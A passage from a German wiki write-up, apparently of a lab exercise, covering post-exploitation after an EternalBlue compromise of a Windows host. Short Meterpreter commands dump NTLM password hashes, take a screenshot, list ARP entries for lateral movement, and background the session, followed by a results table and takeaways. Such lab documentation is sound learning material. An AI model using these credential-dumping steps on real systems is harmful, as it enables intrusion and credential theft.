### Schritt 6: Post-Exploitation &amp; Nachweiserbringung

#### SAM Database Dump (`hashdump`)

<div _ngcontent-ng-c2707574837="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-bash-4" style="--animation-duration: 400ms; --fade-animation-function: ease-out; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="code-block ng-tns-c340939996-62 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwiM7uGJqJOXAxUAAAAAHQAAAAAQlgE" style="display: block; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="formatted-code-block-internal-container ng-tns-c340939996-62" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="animated-opacity ng-tns-c340939996-62" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c340939996-62 ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><span class="ng-tns-c340939996-62" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">Bash</span><div _ngcontent-ng-c340939996="" class="buttons ng-tns-c340939996-62 ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></button></div></div></div></div></div></div>```
meterpreter > hashdump

```

<div _ngcontent-ng-c2707574837="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-ergebnis%3A-der-befehl" style="--animation-duration: 400ms; --fade-animation-function: ease-out; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="code-block ng-tns-c340939996-62 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwiM7uGJqJOXAxUAAAAAHQAAAAAQlgE" style="display: block; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="formatted-code-block-internal-container ng-tns-c340939996-62" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="animated-opacity ng-tns-c340939996-62" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></div></div></div><div style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">*Ergebnis:* Der Befehl liest die NTLM-Hashes aller lokalen Benutzerkonten (`Administrator`, `Guest`, `sshd`, etc.) erfolgreich aus.</div>  
</div>#### Screenshot Generation

<div _ngcontent-ng-c2707574837="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-bash-5" style="--animation-duration: 400ms; --fade-animation-function: ease-out; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="code-block ng-tns-c340939996-63 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwiM7uGJqJOXAxUAAAAAHQAAAAAQlwE" style="display: block; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="formatted-code-block-internal-container ng-tns-c340939996-63" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="animated-opacity ng-tns-c340939996-63" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c340939996-63 ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><span class="ng-tns-c340939996-63" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">Bash</span><div _ngcontent-ng-c340939996="" class="buttons ng-tns-c340939996-63 ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></button></div></div></div></div></div></div>```
meterpreter > screenshot
Screenshot saved to: /home/kali/JavaMSv2.jpeg

```

<div _ngcontent-ng-c2707574837="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk--5" style="--animation-duration: 400ms; --fade-animation-function: ease-out; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="code-block ng-tns-c340939996-63 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwiM7uGJqJOXAxUAAAAAHQAAAAAQlwE" style="display: block; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="formatted-code-block-internal-container ng-tns-c340939996-63" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="animated-opacity ng-tns-c340939996-63" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></div></div></div></div>#### Network Reconnaissance

<div _ngcontent-ng-c2707574837="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-bash-6" style="--animation-duration: 400ms; --fade-animation-function: ease-out; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="code-block ng-tns-c340939996-64 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwiM7uGJqJOXAxUAAAAAHQAAAAAQmAE" style="display: block; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="formatted-code-block-internal-container ng-tns-c340939996-64" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="animated-opacity ng-tns-c340939996-64" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c340939996-64 ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><span class="ng-tns-c340939996-64" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">Bash</span><div _ngcontent-ng-c340939996="" class="buttons ng-tns-c340939996-64 ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></button></div></div></div></div></div></div>```
meterpreter > arp -a

```

<div _ngcontent-ng-c2707574837="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-ergebnis%3A-aufdecken-" style="--animation-duration: 400ms; --fade-animation-function: ease-out; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="code-block ng-tns-c340939996-64 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwiM7uGJqJOXAxUAAAAAHQAAAAAQmAE" style="display: block; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="formatted-code-block-internal-container ng-tns-c340939996-64" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="animated-opacity ng-tns-c340939996-64" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></div></div></div><div style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">*Ergebnis:* Aufdecken lokaler ARP-Einträge zur Vorbereitung potenzieller Pivot- oder Lateral-Movement-Schritte.</div>  
</div>#### Session Backgrounding

<div _ngcontent-ng-c2707574837="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-bash-7" style="--animation-duration: 400ms; --fade-animation-function: ease-out; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="code-block ng-tns-c340939996-65 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwiM7uGJqJOXAxUAAAAAHQAAAAAQmQE" style="display: block; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="formatted-code-block-internal-container ng-tns-c340939996-65" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="animated-opacity ng-tns-c340939996-65" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c340939996-65 ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><span class="ng-tns-c340939996-65" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">Bash</span><div _ngcontent-ng-c340939996="" class="buttons ng-tns-c340939996-65 ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></button></div></div></div></div></div></div>```
meterpreter > background
[*] Backgrounding session 1...

```

<div _ngcontent-ng-c2707574837="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk--6" style="--animation-duration: 400ms; --fade-animation-function: ease-out; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="code-block ng-tns-c340939996-65 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwiM7uGJqJOXAxUAAAAAHQAAAAAQmQE" style="display: block; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="formatted-code-block-internal-container ng-tns-c340939996-65" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="animated-opacity ng-tns-c340939996-65" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></div></div></div></div>## 3. Zusammenfassung der Ergebnisse

<div _ngcontent-ng-c2707574837="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-parameter-befund-ini" style="--animation-duration: 400ms; --fade-animation-function: ease-out; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><table data-path-to-node="44" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin: 0px !important 0px !important 32px 0px !important;"><thead style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><tr style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><td style="border: 1px solid rgb(196, 199, 197); padding: 8px 12px; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">**Parameter**</td><td style="border: 1px solid rgb(196, 199, 197); padding: 8px 12px; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">**Befund**</td></tr></thead><tbody style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><tr style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><td style="border: 1px solid rgb(196, 199, 197); padding: 8px 12px; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><span data-path-to-node="44,1,0,0" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">**Initial Access**</span></td><td style="border: 1px solid rgb(196, 199, 197); padding: 8px 12px; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><span data-path-to-node="44,1,1,0" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">Success (Unauthentifizierter Remote Kernel Exploit)</span></td></tr><tr style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><td style="border: 1px solid rgb(196, 199, 197); padding: 8px 12px; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><span data-path-to-node="44,2,0,0" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">**Rechte / Kontext**</span></td><td style="border: 1px solid rgb(196, 199, 197); padding: 8px 12px; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><span data-path-to-node="44,2,1,0" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">`NT AUTHORITY\SYSTEM` (Höchste Privilegienstufe)</span></td></tr><tr style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><td style="border: 1px solid rgb(196, 199, 197); padding: 8px 12px; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><span data-path-to-node="44,3,0,0" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">**Session-Type**</span></td><td style="border: 1px solid rgb(196, 199, 197); padding: 8px 12px; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><span data-path-to-node="44,3,1,0" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">`x64/windows` (Nativer Windows Meterpreter)</span></td></tr><tr style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><td style="border: 1px solid rgb(196, 199, 197); padding: 8px 12px; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><span data-path-to-node="44,4,0,0" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">**SAM Dump**</span></td><td style="border: 1px solid rgb(196, 199, 197); padding: 8px 12px; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><span data-path-to-node="44,4,1,0" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">Success (Sämtliche NTLM-Hashes extrahiert)</span></td></tr><tr style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><td style="border: 1px solid rgb(196, 199, 197); padding: 8px 12px; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><span data-path-to-node="44,5,0,0" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">**Stabilität**</span></td><td style="border: 1px solid rgb(196, 199, 197); padding: 8px 12px; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><span data-path-to-node="44,5,1,0" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">Stabil (Kein Kernel-Panic / BSOD ausgelöst)</span></td></tr></tbody></table>

</div>## 4. Fazit &amp; Learnings

> <div style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">[!TIP]</div><div style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">**Key Takeaway:**</div><div style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">Der Exploit muss exakt zur Architektur des Zielsystems passen. Bei Kernel-Level Exploits wie EternalBlue führt ein falscher Payload (`x86` statt `x64`) sofort zum Fehlschlagen der Session-Etablierung.</div>

<div _ngcontent-ng-c2707574837="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-direkter-system-zugr" style="--animation-duration: 400ms; --fade-animation-function: ease-out; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">- <div style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">**Direkter SYSTEM-Zugriff:** Im Vergleich zu Applikations-Exploits (wie Elasticsearch) liefert EternalBlue ohne Umwege direkten Vollzugriff auf das Betriebssystem.</div>
- <div style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">**Risikobewertung:** Da es sich um einen Buffer Overflow im Kernel-Speicher (Non-Paged Pool) handelt, besteht immer das Risiko eines Systemabsturzes (Blue Screen of Death / BSOD). </div>

</div>[![grafik.png](https://wiki.spike.selfhost.co/uploads/images/gallery/2026-08/scaled-1680-/grafik.png)](https://wiki.spike.selfhost.co/uploads/images/gallery/2026-08/grafik.png)

[![grafik.png](https://wiki.spike.selfhost.co/uploads/images/gallery/2026-08/scaled-1680-/yoFgrafik.png)](https://wiki.spike.selfhost.co/uploads/images/gallery/2026-08/yoFgrafik.png)

[![grafik.png](https://wiki.spike.selfhost.co/uploads/images/gallery/2026-08/scaled-1680-/MMAgrafik.png)](https://wiki.spike.selfhost.co/uploads/images/gallery/2026-08/MMAgrafik.png)

[![grafik.png](https://wiki.spike.selfhost.co/uploads/images/gallery/2026-08/scaled-1680-/WUvgrafik.png)](https://wiki.spike.selfhost.co/uploads/images/gallery/2026-08/WUvgrafik.png)